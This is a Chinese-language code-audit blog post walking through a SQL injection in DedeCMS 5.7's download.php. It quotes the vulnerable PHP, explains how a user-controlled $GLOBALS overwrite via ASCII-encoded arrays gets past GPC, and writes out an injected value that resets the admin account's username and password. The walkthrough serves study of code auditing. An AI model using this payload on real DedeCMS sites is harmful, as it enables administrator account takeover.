dedecms_5.7 download.php SQL注入


  最近在看Web滲透與漏洞挖掘,這本書的編寫目的感覺非常的不錯,把滲透和代碼審計結合在一起,但是代碼審計部分感覺思路個人認為並不是很清晰,在學習dedecms v5.7 SQL注入的時候就只看懂了漏洞,思路依然感覺迷茫,在這里我重新梳理一下這個漏洞的挖掘思路。

  這個漏洞主要包括兩方面,一是SQL注入本身,二是全局變量$GLOBALS可以被用戶操控。拿到cms我們還是先瀏覽大致的結構,然后我們重點關注/include/dedesql.class.php文件,根據命名規則我們可以依據經驗判斷這是該cms的數據庫連接配置文件。這個文件中有兩個SQL執行語句,分別是ExecNoneQuery()和ExecNoneQuery2(),在ExecNoneQuery()中,該函數調用checksql()函數進行sql語句檢查,我們繼續閱讀ExecNoneQuery2的代碼:

 1 //執行一個返回影響記錄條數的SQL語句,如update,delete,insert等
 2     function ExecuteNoneQuery2($sql='')
 3     {
 4         global $dsql;
 5         if(!$dsql->isInit)
 6         {
 7             $this->Init($this->pconnect);
 8         }
 9         if($dsql->isClose)
10         {
11             $this->Open(FALSE);
12             $dsql->isClose = FALSE;
13         }
14 
15         if(!empty($sql))
16         {
17             $this->SetQuery($sql);
18         }
19         if(is_array($this->parameters))
20         {
21             foreach($this->parameters as $key=>$value)
22             {
23                 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
24             }
25         }
26         $t1 = ExecTime();
27         mysql_query($this->queryString,$this->linkID);
28         
29         //查詢性能測試
30         if($this->recordLog) {
31             $queryTime = ExecTime() - $t1;
32             $this->RecordLog($queryTime);
33             //echo $this->queryString."--{$queryTime}<hr />\r\n"; 
34         }
35         
36         return mysql_affected_rows($this->linkID);
37     }

  很明顯我們可以看出,這里並沒有進行SQL語句安全性檢查,所以我們要仔細檢查該函數操控的文件或數據,我們全局搜索ExecuteNoneQuery2,發現/plus/download.php是由這個函數操控的,我們跟讀這個文件,這個文件的主要功能是提供軟件給用戶下載,閱讀以下代碼:

 1 else if($open==1)
 2 {
 3     //更新下載次數
 4     $id = isset($id) && is_numeric($id) ? $id : 0;
 5     $link = base64_decode(urldecode($link));
 6     if ( !$link )
 7     {
 8         ShowMsg('無效地址','javascript:;');
 9         exit;
10     }
11     $hash = md5($link);
12     $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
13     if($rs <= 0)
14     {
15         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";
16         $dsql->ExecNoneQuery($query);
17     }
18 
19     $row = $dsql->GetOne("SELECT * FROM `#@__softconfig` ");
20     $sites = explode("\n", $row['sites']);
21     $allowed = array();
22     foreach($sites as $site)
23     {
24         $site = explode('|', $site);
25         $domain = parse_url(trim($site[0]));
26         $allowed[] = $domain['host'];
27     }
28     
29     if ( !in_array($linkinfo['host'], $allowed) )
30     {
31         ShowMsg('非下載地址,禁止訪問','javascript:;');
32         exit;
33     }
34     
35     header("location:$link");
36     exit();
37 }

  這段代碼的功能很好讀,我們主要考慮兩個細節,一是雖然沒進行安全性檢查,但是應該怎么繞過PGC;二是如何讓這條SQL語句能為我所用。如果之前通讀了/include/dedesql.class.php的代碼,我們心中應該就有了答案,這個文件中有一個特殊操作:

 1 //設置SQL語句,會自動把SQL語句里的#@__替換為$this->dbPrefix(在配置文件中為$cfg_dbprefix)
 2     function SetQuery($sql)
 3     {
 4         $prefix="#@__";
 5         $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
 6         $this->queryString = $sql;
 7     }
 8 
 9 
10 if(isset($GLOBALS['arrs1']))
11 {
12     $v1 = $v2 = '';
13     for($i=0;isset($arrs1[$i]);$i++)
14     {
15         $v1 .= chr($arrs1[$i]);
16     }
17     for($i=0;isset($arrs2[$i]);$i++)
18     {
19         $v2 .= chr($arrs2[$i]);
20     }
21     $GLOBALS[$v1] .= $v2;
22 }

  在這里以上兩個問題已經全部解決,在提交SQL語句的時候程序使用了ASCII進行編碼,直接繞過了GPC,arr1和arr2可以被用戶操控任意修改。在代碼的第五行,程序使用str_replace函數把SQL語句中的#@_替換為了$GLOBALS['cfg_dbprefix'],全局搜索$cfg_dbprefix發現在/include/commen.inc.php中:

$cfg_dbprefix = 'dede_';

   在代碼的第21行,這里采用.=的方式拼接了$v1和$v2,.=的用法和+=一致,$a.=$b也就是$a=$a.$b,所以我們控制$v1為cfg_dbprefix,將$v2構造SQL語句:

admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #

  完整的SQL語句為:

UPDATE `dede_admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' 

   執行后用戶名為test,密碼為123456。

  這個漏洞的復現提醒了我,做代碼審計通讀核心文件的代碼還是非常重要的,之前單純的定位+跟讀方法無法應對復雜的攻擊,后面我會盡可能的多通讀一下代碼吧。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM